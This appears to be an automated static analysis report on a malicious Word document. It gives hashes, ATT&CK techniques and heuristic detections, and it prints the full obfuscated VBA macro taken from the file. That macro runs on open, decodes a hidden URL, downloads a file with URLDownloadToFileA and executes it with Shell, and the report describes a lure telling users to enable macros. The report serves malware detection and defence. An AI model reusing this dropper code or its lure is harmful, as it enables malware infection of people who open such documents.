Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 3ae5c1a73fb23967…

MALICIOUS

Office (OOXML)

25.1 KB Created: 2015-08-25 02:58:00 UTC Authoring application: Microsoft Office Word 14.0000 First seen: 2015-09-30
MD5: 9a898f1a16ac34731b069fd0765d6e20 SHA-1: 507c3f61df3e696baa02beb3d6ce30ff99b00cfb SHA-256: 3ae5c1a73fb23967f2f594cce2a512358a262e40809b69bc1891af2be76c61db
228 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1059.005 Visual Basic T1071.001 Web Protocols T1105 Ingress Tool Transfer

The sample is an Office document containing VBA macros. The document body presents a "protected document" lure to encourage users to enable macros. The extracted VBA script utilizes the URLDownloadToFileA API, indicating an intent to download and execute a second-stage payload from a remote source. The script also uses obfuscation techniques and calls to Environ() for environment variable access, further suggesting malicious activity.

Heuristics 10

  • VBA project inside OOXML medium 6 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    SuklNzMvdmKdHhyKrHvGvcBB: SuklNzMvdmKdHhyKrHvGvcBB = Shell(RwtpBoqn, 1)
  • URLDownloadToFile in VBA critical OLE_VBA_DOWNLOAD
    URLDownloadToFile in VBA
    Matched line in script
    Private Declare PtrSafe Function URLDownloadToFileA Lib _
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    AutoOpen()
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Auto_Open
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    ZFfBLoSmVTQxoevlGtU), Environ( _
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas Referenced by macro
    • http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
    • http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 5526 bytes
SHA-256: 4d80b53f7b21ef5e3b9c72c86b6fd2ac6b9a911650a72422710d6fffa02eb64a
Detection
ClamAV: No threats found
Obfuscation or payload: likely
39 of 69 identifiers look randomly generated (e.g. 'hPMQQpTNoydvTmnAOlzBQZSLGHRleJO') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
'< protected by www.CrunchCode.de - DO NOT CHANGE OR REMOVE THIS LABEL! >

Option Explicit
Const ZFfBLoSmVTQxoevlGtU = "}VWbY$LKC{@1­l)tmS5b{7qBRhM3pj4yX7JG"
Const pFDyiMi = "-UHX<9&c!!4­D#:": Const XuUyAqARfHvKd = _
"qzCdhSz5po`FJs­hoM<6Uce+wg"
Public GlQIfYotXSHBYzQXelGOkwNwqdfRZDl As String
#If Win64 Then
Private Declare PtrSafe Function URLDownloadToFileA Lib _
"urlmon" (ByVal aloiRxFtQYVbsdLGQoJnIIXygjUrQB As _
Long, ByVal atxBlymauvpsbNPEsSwlmmv As _
String, _
ByVal BdldBogXuBehJk As String, ByVal DOsDdvoJvEuGU As _
Long, ByVal _
mQRGjBvcLIXatq As Long) As _
Long
#Else
Private Declare Function _
URLDownloadToFileA Lib _
"urlmon" ( _
ByVal aloiRxFtQYVbsdLGQoJnIIXygjUrQB As _
Long, ByVal atxBlymauvpsbNPEsSwlmmv As _
String, ByVal _
BdldBogXuBehJk As _
String, _
ByVal DOsDdvoJvEuGU As Long, ByVal _
mQRGjBvcLIXatq As Long) As Long
#End If
Function TZaAraZFfRveMRRMobgBfoxEfYzvePX( _
ikTYexwJWlvbs As _
String) As String
TZaAraZFfRveMRRMobgBfoxEfYzvePX = _
WpFmFSAYmLPNnMKtJYTwXauqmBXwIjz(ikTYexwJWlvbs)
End Function
Public Sub _
RonoCpgqUgiTx()
qeOtzBJemRtwnWSVq ezfsnRMOtDATdUCVOBDoKYXtVaZTNLx( _
ZFfBLoSmVTQxoevlGtU), Environ( _
pPsjkKWLSgOjTobFrXfpJSMKVihHRuH( _
pFDyiMi)) & _
TZaAraZFfRveMRRMobgBfoxEfYzvePX(XuUyAqARfHvKd)
End Sub
Sub _
AutoOpen()
Auto_Open
End Sub
Function pPsjkKWLSgOjTobFrXfpJSMKVihHRuH(fIBvSVwchObVQgeNxTfhmazX As String) As _
String
pPsjkKWLSgOjTobFrXfpJSMKVihHRuH = WpFmFSAYmLPNnMKtJYTwXauqmBXwIjz( _
fIBvSVwchObVQgeNxTfhmazX)
End Function
Sub cLIbSvEMMZsgGoUD()
Auto_Open
End Sub
Function _
WpFmFSAYmLPNnMKtJYTwXauqmBXwIjz( _
wzyRLnHgHvDxFViFERatFkW As String) As String
Dim _
UlAOLbsCJDOyCnZkvKNPkWEdB As _
Byte, _
hZMPdIHBPUQGVFSuqFBANhAe As _
Long, bLreZZrT As Integer, MFqfeJXRrRZsbnATCFXnvgn As Integer, _
JojcLfkVMB As Long, SHlqBBgrFmCJaXObaZK As _
Long, _
rNOcJgMndpFPpqDkEnJm As _
Long, _
vrblRGUSGyQViXwf As String, _
kUNAMjvreQHs As String, VDJQTwakUogoKT As _
String, PzIrSfKPh As String, _
FdXqbEsveIGoHOirLVN As _
String
VDJQTwakUogoKT = _
""
If _
wzyRLnHgHvDxFViFERatFkW <> "" Then
PzIrSfKPh = _
wzyRLnHgHvDxFViFERatFkW
UlAOLbsCJDOyCnZkvKNPkWEdB = _
4448 - _
&H10B3
MFqfeJXRrRZsbnATCFXnvgn = InStr( _
wzyRLnHgHvDxFViFERatFkW, Chr( _
UlAOLbsCJDOyCnZkvKNPkWEdB))
If _
GlQIfYotXSHBYzQXelGOkwNwqdfRZDl = "" Then
FdXqbEsveIGoHOirLVN = """"
For JojcLfkVMB = _
4095 - _
&HFDF To 25345 - _
&H6283
If InStr(FdXqbEsveIGoHOirLVN, Chr(JojcLfkVMB)) = 0 Then GlQIfYotXSHBYzQXelGOkwNwqdfRZDl = GlQIfYotXSHBYzQXelGOkwNwqdfRZDl & Chr( _
JojcLfkVMB)
Next JojcLfkVMB
End If
rNOcJgMndpFPpqDkEnJm = Len(GlQIfYotXSHBYzQXelGOkwNwqdfRZDl)
kUNAMjvreQHs = Left( _
PzIrSfKPh, _
MFqfeJXRrRZsbnATCFXnvgn - _
1)
PzIrSfKPh = _
Right( _
PzIrSfKPh, _
Len( _
PzIrSfKPh) - MFqfeJXRrRZsbnATCFXnvgn)
vrblRGUSGyQViXwf = _
""
For JojcLfkVMB = 1 To Len(PzIrSfKPh) Step 2
vrblRGUSGyQViXwf = _
vrblRGUSGyQViXwf & _
Mid(PzIrSfKPh, JojcLfkVMB + 1, _
1) & _
Mid( _
PzIrSfKPh, JojcLfkVMB, _
1)
Next JojcLfkVMB
PzIrSfKPh = _
vrblRGUSGyQViXwf
SHlqBBgrFmCJaXObaZK = 0
For _
JojcLfkVMB = 1 To _
Len( _
PzIrSfKPh)
vrblRGUSGyQViXwf = _
Mid(PzIrSfKPh, _
JojcLfkVMB, 1)
hZMPdIHBPUQGVFSuqFBANhAe = Asc( _
vrblRGUSGyQViXwf)
MFqfeJXRrRZsbnATCFXnvgn = _
InStr( _
GlQIfYotXSHBYzQXelGOkwNwqdfRZDl, vrblRGUSGyQViXwf)
If _
MFqfeJXRrRZsbnATCFXnvgn = _
0 Then
If hZMPdIHBPUQGVFSuqFBANhAe >= ( _
26815 - &H683F) Then
hZMPdIHBPUQGVFSuqFBANhAe = _
hZMPdIHBPUQGVFSuqFBANhAe + ( _
&H4C52 - 19474)
If _
hZMPdIHBPUQGVFSuqFBANhAe > _
(15271 - &H3AA8) Then hZMPdIHBPUQGVFSuqFBANhAe = hZMPdIHBPUQGVFSuqFBANhAe - _
(&H4E0C - _
19852)
vrblRGUSGyQViXwf = _
Chr(hZMPdIHBPUQGVFSuqFBANhAe)
End If
VDJQTwakUogoKT = VDJQTwakUogoKT & _
vrblRGUSGyQViXwf
Else
SHlqBBgrFmCJaXObaZK = SHlqBBgrFmCJaXObaZK + 1
If _
SHlqBBgrFmCJaXObaZK > Len( _
kUNAMjvreQHs) Then SHlqBBgrFmCJaXObaZK = _
1
bLreZZrT = Asc( _
Mid( _
kUNAMjvreQHs, SHlqBBgrFmCJaXObaZK, _
1))
MFqfeJXRrRZsbnATCFXnvgn = MFqfeJXRrRZsbnATCFXnvgn - _
bLreZZrT
While MFqfeJXRrRZsbnATCFXnvgn > _
rNOcJgMndpFPpqDkEnJm
MFqfeJXRrRZsbnATCFXnvgn = MFqfeJXRrRZsbnATCFXnvgn - _
rNOcJgMndpFPpqDkEnJm
Wend
While _
MFqfeJXRrRZsbnATCFXnvgn < _
0
MFqfeJXRrRZsbnATCFXnvgn = _
MFqfeJXRrRZsbnATCFXnvgn + _
rNOcJgMndpFPpqDkEnJm
Wend
If MFqfeJXRrRZsbnATCFXnvgn = 0 Then MFqfeJXRrRZsbnATCFXnvgn = rNOcJgMndpFPpqDkEnJm
VDJQTwakUogoKT = VDJQTwakUogoKT & _
Mid(GlQIfYotXSHBYzQXelGOkwNwqdfRZDl, MFqfeJXRrRZsbnATCFXnvgn, _
1)
End If
Next JojcLfkVMB
End If
WpFmFSAYmLPNnMKtJYTwXauqmBXwIjz = VDJQTwakUogoKT
End Function
Sub Auto_Open()
RonoCpgqUgiTx
End Sub
Function _
ezfsnRMOtDATdUCVOBDoKYXtVaZTNLx( _
WGAVLJtBHVWt As _
String) As _
String
ezfsnRMOtDATdUCVOBDoKYXtVaZTNLx = WpFmFSAYmLPNnMKtJYTwXauqmBXwIjz(WGAVLJtBHVWt)
End Function
Function qeOtzBJemRtwnWSVq(OGUXESxGLrJiHkxa As String, RwtpBoqn As String) As _
Boolean
Dim _
hPMQQpTNoydvTmnAOlzBQZSLGHRleJO As Long: hPMQQpTNoydvTmnAOlzBQZSLGHRleJO = URLDownloadToFileA( _
0, _
OGUXESxGLrJiHkxa, _
RwtpBoqn, 0, 0)
If hPMQQpTNoydvTmnAOlzBQZSLGHRleJO = 0 Then qeOtzBJemRtwnWSVq = _
True
Dim _
SuklNzMvdmKdHhyKrHvGvcBB: SuklNzMvdmKdHhyKrHvGvcBB = Shell(RwtpBoqn, 1)
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 20992 bytes
SHA-256: 77cb1cf140aa25789b2f863d632590dbaaa626180117f55c4968efbf2a19abfb
Detection
ClamAV: No threats found
Obfuscation or payload: likely
128 of 207 identifiers look randomly generated (e.g. 'TZaAraZFfRveMRRMobgBfoxEfYzvePX1') — consistent with name-mangling obfuscation.

Open this report in the interactive analyzer, or submit your own file for analysis.